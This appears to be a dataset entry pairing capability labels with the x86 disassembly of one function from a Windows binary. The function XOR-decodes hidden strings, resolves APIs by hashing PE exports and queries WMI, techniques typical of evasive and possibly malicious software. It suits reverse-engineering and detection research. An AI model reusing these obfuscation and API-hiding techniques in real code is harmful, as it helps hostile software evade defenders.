Function at 0x435150
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x44857c]
mov dword [esp], eax
mov dword [esp + 0x48], 0x3b3a3930
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add al, 0xf8
xor al, byte [esp + ecx + 0x48]
add al, 0x40
mov byte [esp + ecx + 0x48], al
inc ecx
cmp ecx, 4
jne 0x435180
mov eax, dword [esp + 0x48]
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x3332313d
xor edx, edx
mov esi, 0xc5b6764f
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx + 4]
mov ebx, esi
and ebx, 0xc0b2200e
mov eax, edx
and eax, 1
or eax, ebx
xor eax, edi
xor eax, 0xfafba9be
mov ebx, eax
neg ebx
mov edi, ebx
or edi, 1
add edi, eax
add eax, 0x7f
and ebx, 0x2d
and eax, 0xd2
or eax, ebx
xor eax, 0x2c
lea eax, [eax + edi*2]
mov byte [esp + edx + 4], al
inc edx
dec esi
cmp edx, 4
jne 0x4351b0
mov edx, dword [esp + 4]
mov dword [esp + 0x10], 0x603c6e08
mov dword [esp + 0x14], 0x64d062e8
mov dword [esp + 0x18], 0x78c266d1
mov dword [esp + 0x1c], 0x7c3f7ac4
mov dword [esp + 0x20], 0x70c67ecf
mov dword [esp + 0x24], 0x74d672c7
mov dword [esp + 0x28], 0x48777610
xor ecx, ecx
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edi + 0x10]
mov esi, ecx
and esi, 0xa
mov ebx, edi
xor ebx, 0xd315a745
add ebx, esi
mov esi, eax
and esi, ebx
add esi, esi
sub ebx, esi
add bl, al
add bl, 0xd8
mov byte [esp + edi + 0x10], bl
inc edi
add ecx, 2
cmp edi, 0x1c
jne 0x435240
lea ecx, [esp + 0x68]
lea ebx, [esp + 0x7c]
lea eax, [esp + 0x10]
push ecx
push dword [esp + 0x10]
push ebx
push edx
push eax
push 0
call dword [esp + 0x18]
test eax, eax
jns 0x43533a
mov word [esp + 0x10], 0x8854
xor ecx, ecx
mov dl, 1
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx + 0x10]
mov esi, ecx
xor esi, 0x4b46b0ef
lea esi, [esi + ecx*2]
xor esi, eax
mov eax, esi
and eax, 7
xor esi, 0x87
lea eax, [esi + eax*2]
inc al
mov byte [esp + ecx + 0x10], al
mov ecx, 1
xor eax, eax
test dl, 1
mov edx, 0
jne 0x4352a0
movzx ecx, word [esp + 0x10]
mov word [esp + 0x7c], cx
mov word [esp + 0x10], 0xdd26
mov cl, 1
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x10]
mov edi, eax
or edi, 0x70e5293c
and edi, edx
add edx, eax
add edx, 0x70e5293c
mov esi, edx
not esi
and esi, 1
add edi, edi
sub edx, edi
add edx, 0x1f
or edx, 1
xor edx, esi
lea edx, [edx + esi*2]
mov byte [esp + eax + 0x10], dl
mov eax, 1
test cl, 1
mov ecx, 0
jne 0x4352f0
movzx eax, word [esp + 0x10]
mov word [esp + 0x7e], ax
mov dword [esp + 0x80], 0x5c
mov dword [esp + 0x74], 0x7bf91b90
mov dword [esp + 0x70], 0x7dc5149c
mov dword [esp + 0x6c], 0x9a966792
mov dword [esp + 0x68], 0x3029d9d2
mov dword [esp + 4], 0
lea eax, [esp + 4]
push eax
push 0x43f67c
push 1
push 0
push 0x43f68c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x43577f
mov dword [esp + 0x10], 0xf60af401
mov dword [esp + 0x14], 0xea1de808
mov dword [esp + 0x18], 0xee2eec07
mov dword [esp + 0x1c], 0xe21ce016
mov dword [esp + 0x20], 0xe637e415
mov word [esp + 0x24], 0x98e7
xor eax, eax
nop
movzx edx, byte [esp + eax + 0x10]
mov esi, eax
and esi, 0xb
mov edi, eax
and edi, 0x14
mov ecx, eax
xor ecx, 0x8756a4ab
add ecx, esi
sub ecx, edi
add ecx, eax
xor ecx, edx
add ecx, 0xc54adaa7
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
mov byte [esp + eax + 0x10], cl
inc eax
cmp eax, 0x16
jne 0x4353c0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 4]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x43576e
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x60]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x435764
mov dword [esp + 0x10], 0xcc9aca9e
mov dword [esp + 0x14], 0xc0cfce91
mov eax, 0xfba636c1
movzx edx, byte [esp + eax + 0x459c94f]
mov ecx, eax
and ecx, edx
add ecx, ecx
add edx, eax
mov edi, ecx
xor edi, edx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, edi
add cl, 0xf8
mov byte [esp + eax + 0x459c94f], cl
inc eax
cmp eax, 0xfba636c9
jne 0x435460
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp], eax
mov dword [esp + 0x10], 0x723470cc
mov dword [esp + 0x14], 0x763074cf
mov dword [esp + 0x18], 0x6add6834
mov dword [esp + 0x1c], 0x6e376c0b
mov dword [esp + 0x20], 0x6227600f
mov dword [esp + 0x24], 0x66da64d1
mov dword [esp + 0x28], 0x5a3958da
mov dword [esp + 0x2c], 0x5ec45cec
mov dword [esp + 0x30], 0x520250c1
mov dword [esp + 0x34], 0x56fa5401
mov dword [esp + 0x38], 0x4af04815
mov dword [esp + 0x3c], 0x4efe4cf4
mov word [esp + 0x40], 0x404f
mov eax, 0x1c7f2b46
mov ecx, 0xe380d4b8
nop
nop
nop
movzx edx, byte [esp + eax - 0x1c7f2b36]
lea edi, [eax - 0x7fffffff]
mov ebx, ecx
and ebx, 0x228007f8
and edi, 0x180b0807
or edi, ebx
mov ebx, edx
xor ebx, 0x180b0807
xor edx, 0xa6f427f8
or edx, edi
not edi
or edi, ebx
and edx, edi
mov ebx, edx
or ebx, 0xc7
add ebx, edx
not edx
or edx, 0xc7
add ebx, edx
add bl, 2
mov byte [esp + eax - 0x1c7f2b36], bl
inc eax
dec ecx
cmp eax, 0x1c7f2b78
jne 0x435510
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esp + 0x44]
mov ecx, dword [edi]
lea edx, [esp + 0x64]
push edx
push 0
push 0x30
mov dword [esp + 0x18], eax
push eax
push dword [esp + 0x10]
push edi
call dword [ecx + 0x50]
test eax, eax
lea ebx, [esp + 0x7c]
js 0x435753
mov dword [esp + 0x5c], 0
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x5c]
lea edi, [esp + 0x60]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x435749
cmp eax, 1
je 0x435749
cmp dword [esp + 0x5c], 0
je 0x435749
lea edi, [esp + 0x48]
push edi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x10], 0x49ed47f5
mov dword [esp + 0x14], 0x4de54bd8
mov dword [esp + 0x18], 0xb11c4fef
mov dword [esp + 0x1c], 0xb521b3fc
mov dword [esp + 0x20], 0xb91ab71b
mov dword [esp + 0x24], 0xbd2ebb1f
mov word [esp + 0x28], 0xbfbe
mov ecx, 0x3ed279f6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x3ed279e6]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x50
mov byte [esp + ecx - 0x3ed279e6], dl
inc ecx
cmp ecx, 0x3ed27a10
jne 0x435630
mov ecx, dword [eax]
push 0
push 0
push edi
push 0
lea edx, [esp + 0x20]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x435734
cmp word [esp + 0x48], 8
jne 0x435734
mov eax, dword [esp + 0x50]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 8], eax
je 0x4356cd
add eax, 2
xor ebx, ebx
jmp 0x4356ac
inc ebx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x4356cf
cmp cx, 0x7f
jbe 0x4356a0
movzx edx, cx
cmp edx, 0x7ff
ja 0x4356c2
add ebx, 2
jmp 0x4356a1
cmp cx, 0xffff
je 0x4356a1
add ebx, 3
jmp 0x4356a1
xor ebx, ebx
lea edi, [ebx + 1]
push edi
call fcn.00407fc0
add esp, 4
push dword [esp + 8]
push edi
mov dword [esp + 0x10], eax
push eax
call fcn.00408dd0
add esp, 0xc
mov eax, 3
sub eax, ebx
cmp eax, 0xfffffffd
jae 0x4356fe
mov eax, 0xfffffffc
add eax, ebx
shr eax, 2
cmp eax, 3
lea edi, [esp + 0x48]
jb 0x435711
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov ebx, dword [esp + 0xc]
push ebx
lea eax, [esp + 0x70]
push eax
call fcn.00407ff0
add esp, 0xc
push ebx
call fcn.00407fd0
add esp, 4
push edi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ebx, [esp + 0x7c]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp]
call edi
push dword [esp + 0xc]
call edi
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xb65c016e
push dword [0x447574]
call fcn.0043b5d0
add esp, 8
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push ebx
call eax
test eax, eax
je 0x4357b2
mov eax, dword [esp + 0x10]
mov dword [esp + 0x68], eax
xor ebx, ebx
mov esi, dword [ebp + 8]
jmp 0x4357cd
add esi, 8
inc ebx
cmp ebx, 4
je 0x435927
mov dword [esp + 0xc], esi
mov eax, 0
test ebx, ebx
je 0x4357f1
cmp dword [esp + ebx*4 + 0x68], 0
mov eax, ebx
jne 0x4357f1
mov ecx, ebx
not ecx
and ecx, 1
mov eax, ebx
and eax, 2
sub eax, ecx
mov dword [esp + 8], ebx
mov eax, dword [esp + eax*4 + 0x68]
mov dword [esp], eax
mov dword [esp + 0x48], 0x677c3d21
mov ecx, 0x558a6044
mov edx, 0xaa759fbb
nop
nop
movzx edi, byte [esp + ecx - 0x558a5ffc]
mov ebx, ecx
and ebx, edi
mov eax, ebx
and eax, 2
mov esi, ebx
or ebx, 2
imul ebx, eax
xor eax, 2
and esi, 0x45
imul esi, eax
add ebx, esi
mov eax, edx
sub eax, edi
lea esi, [ecx + edi]
and eax, ebx
not ebx
and ebx, esi
sub ebx, eax
mov eax, ebx
and eax, 0x5f
xor ebx, 0xdf
lea eax, [ebx + eax*2]
inc al
mov byte [esp + ecx - 0x558a5ffc], al
inc ecx
dec edx
cmp ecx, 0x558a6048
jne 0x435810
mov ecx, dword [esp + 0x48]
mov eax, ecx
not eax
mov dword [esp + 0x78], eax
mov esi, dword [esp]
mov edx, esi
not edx
and edx, ecx
mov eax, ecx
and eax, esi
or ecx, esi
imul ecx, eax
mov dword [esp + 0x10], 0xf2e65da5
mov dword [esp + 0x14], 0xdddcdbda
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, eax
and ebx, 1
mov esi, eax
and esi, 6
mov edi, eax
xor edi, 0x1ef986e6
add edi, eax
sub edi, ebx
mov ebx, edi
and ebx, esi
xor edi, esi
lea ebx, [edi + ebx*2]
xor bl, byte [esp + eax + 0x10]
add bl, 0xd0
mov byte [esp + eax + 0x10], bl
inc eax
cmp eax, 8
jne 0x4358a0
mov eax, dword [esp]
and eax, dword [esp + 0x78]
imul edx, eax
add ecx, edx
add ecx, dword [esp + 0x10]
mov ebx, dword [esp + 8]
mov dword [esp + ebx*4 + 0x68], ecx
mov edi, 0xfffffff7
push 0x10
push 9
mov esi, dword [esp + 0x14]
push esi
push ecx
call fcn.0041cf80
add esp, 0x10
nop
cmp byte [eax + edi + 9], 0
lea edi, [edi + 1]
jne 0x435900
test edi, edi
je 0x4357c0
add eax, edi
neg edi
push edi
push 0x30
push eax
call fcn.00408040
add esp, 0xc
jmp 0x4357c0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret